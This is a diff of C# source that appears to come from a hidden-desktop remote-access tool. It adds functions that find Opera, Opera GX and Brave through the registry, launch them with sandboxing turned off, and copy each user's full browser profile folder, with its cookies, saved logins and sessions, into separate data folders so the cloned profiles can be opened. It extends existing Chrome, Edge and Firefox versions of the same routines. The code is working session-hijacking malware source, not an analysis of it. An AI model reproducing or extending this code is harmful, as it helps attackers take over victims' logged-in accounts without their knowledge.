@@ -90,6 +90,77 @@ public bool StartExplorer()
90
90
return CreateProc ( @"C:\Windows\explorer.exe" ) ;
91
91
}
92
92
93
+ public string GetOperaPath ( )
94
+ {
95
+ const string basePath = @"SOFTWARE\Clients\StartMenuInternet" ;
96
+ using ( var clientsKey = Registry . CurrentUser . OpenSubKey ( basePath ) )
97
+ {
98
+ if ( clientsKey != null )
99
+ {
100
+ foreach ( var subKeyName in clientsKey . GetSubKeyNames ( ) )
101
+ {
102
+ if ( subKeyName . Contains ( "Opera" ) && ! subKeyName . Contains ( "GX" ) )
103
+ {
104
+ using ( var operaKey = clientsKey . OpenSubKey ( $ "{ subKeyName } \\ shell\\ open\\ command") )
105
+ {
106
+ if ( operaKey != null )
107
+ {
108
+ object operaPathObj = operaKey . GetValue ( "" ) ;
109
+ if ( operaPathObj != null )
110
+ {
111
+ return operaPathObj . ToString ( ) . Trim ( '"' ) ;
112
+ }
113
+ }
114
+ }
115
+ }
116
+ }
117
+ }
118
+ }
119
+ return null ;
120
+ }
121
+
122
+ public string GetBravePath ( )
123
+ {
124
+ var path = Registry . GetValue ( @"HKEY_CLASSES_ROOT\BraveHTML\shell\open\command" , null , null ) as string ;
125
+ if ( path != null )
126
+ {
127
+ var split = path . Split ( '\" ' ) ;
128
+ path = split . Length >= 2 ? split [ 1 ] : null ;
129
+ }
130
+ return path ;
131
+ }
132
+
133
+
134
+ public string GetOperaGXPath ( )
135
+ {
136
+ const string basePath = @"SOFTWARE\Clients\StartMenuInternet" ;
137
+ using ( var clientsKey = Registry . CurrentUser . OpenSubKey ( basePath ) )
138
+ {
139
+ if ( clientsKey != null )
140
+ {
141
+ foreach ( var subKeyName in clientsKey . GetSubKeyNames ( ) )
142
+ {
143
+ if ( subKeyName . Contains ( "Opera" ) && subKeyName . Contains ( "GX" ) )
144
+ {
145
+ using ( var operaGXKey = clientsKey . OpenSubKey ( $ "{ subKeyName } \\ shell\\ open\\ command") )
146
+ {
147
+ if ( operaGXKey != null )
148
+ {
149
+ object operaGXPathObj = operaGXKey . GetValue ( "" ) ;
150
+ if ( operaGXPathObj != null )
151
+ {
152
+ return operaGXPathObj . ToString ( ) . Trim ( '"' ) ;
153
+ }
154
+ }
155
+ }
156
+ }
157
+ }
158
+ }
159
+ }
160
+ return null ;
161
+ }
162
+
163
+
93
164
public string getChromePath ( )
94
165
{
95
166
@@ -164,6 +235,39 @@ public bool StartChrome()
164
235
return CreateProc ( "\" " + path + "\" " + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir ) ;
165
236
}
166
237
238
+ public bool StartOpera ( )
239
+ {
240
+ string dataDir = @"C:\OperaAutomationData" ;
241
+ string path = GetOperaPath ( ) ;
242
+ if ( path == null || ! File . Exists ( path ) )
243
+ {
244
+ return false ;
245
+ }
246
+ return CreateProc ( "\" " + path + "\" " + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir ) ;
247
+ }
248
+
249
+ public bool StartOperaGX ( )
250
+ {
251
+ string dataDir = @"C:\OperaGXAutomationData" ;
252
+ string path = GetOperaGXPath ( ) ;
253
+ if ( path == null || ! File . Exists ( path ) )
254
+ {
255
+ return false ;
256
+ }
257
+ return CreateProc ( "\" " + path + "\" " + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir ) ;
258
+ }
259
+
260
+ public bool StartBrave ( )
261
+ {
262
+ string dataDir = @"C:\BraveAutomationData" ;
263
+ string path = GetBravePath ( ) ;
264
+ if ( path == null || ! File . Exists ( path ) )
265
+ {
266
+ return false ;
267
+ }
268
+ return CreateProc ( "\" " + path + "\" " + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir ) ;
269
+ }
270
+
167
271
public bool StartEdge ( )
168
272
{
169
273
string dataDir = @"C:\EdgeAutomationData" ;
@@ -209,6 +313,75 @@ public async Task<bool> CloneChrome()
209
313
return false ;
210
314
}
211
315
316
+ public async Task < bool > CloneOperaGX ( )
317
+ {
318
+ try
319
+ {
320
+ string dataDir = @"C:\OperaGXAutomationData" ;
321
+ string source = $@ "C:\Users\{ Environment . UserName } \AppData\Roaming\Opera Software\Opera GX Stable";
322
+ if ( Directory . Exists ( dataDir ) )
323
+ {
324
+ await Task . Run ( ( ) => Directory . Delete ( dataDir , true ) ) ;
325
+ Directory . CreateDirectory ( dataDir ) ;
326
+ }
327
+ else
328
+ {
329
+ Directory . CreateDirectory ( dataDir ) ;
330
+ }
331
+ await CopyDirAsync ( source , dataDir ) ;
332
+ return true ;
333
+
334
+ }
335
+ catch { }
336
+ return false ;
337
+ }
338
+
339
+ public async Task < bool > CloneOpera ( )
340
+ {
341
+ try
342
+ {
343
+ string dataDir = @"C:\OperaAutomationData" ;
344
+ string source = $@ "C:\Users\{ Environment . UserName } \AppData\Roaming\Opera Software\Opera Stable";
345
+ if ( Directory . Exists ( dataDir ) )
346
+ {
347
+ await Task . Run ( ( ) => Directory . Delete ( dataDir , true ) ) ;
348
+ Directory . CreateDirectory ( dataDir ) ;
349
+ }
350
+ else
351
+ {
352
+ Directory . CreateDirectory ( dataDir ) ;
353
+ }
354
+ await CopyDirAsync ( source , dataDir ) ;
355
+ return true ;
356
+
357
+ }
358
+ catch { }
359
+ return false ;
360
+ }
361
+
362
+ public async Task < bool > CloneBrave ( )
363
+ {
364
+ try
365
+ {
366
+ string dataDir = @"C:\BraveAutomationData" ;
367
+ string source = $@ "C:\Users\{ Environment . UserName } \AppData\Local\BraveSoftware\Brave-Browser\User Data";
368
+ if ( Directory . Exists ( dataDir ) )
369
+ {
370
+ await Task . Run ( ( ) => Directory . Delete ( dataDir , true ) ) ;
371
+ Directory . CreateDirectory ( dataDir ) ;
372
+ }
373
+ else
374
+ {
375
+ Directory . CreateDirectory ( dataDir ) ;
376
+ }
377
+ await CopyDirAsync ( source , dataDir ) ;
378
+ return true ;
379
+
380
+ }
381
+ catch { }
382
+ return false ;
383
+ }
384
+
212
385
public async Task < bool > CloneFirefox ( )
213
386
{
214
387
try
0 commit comments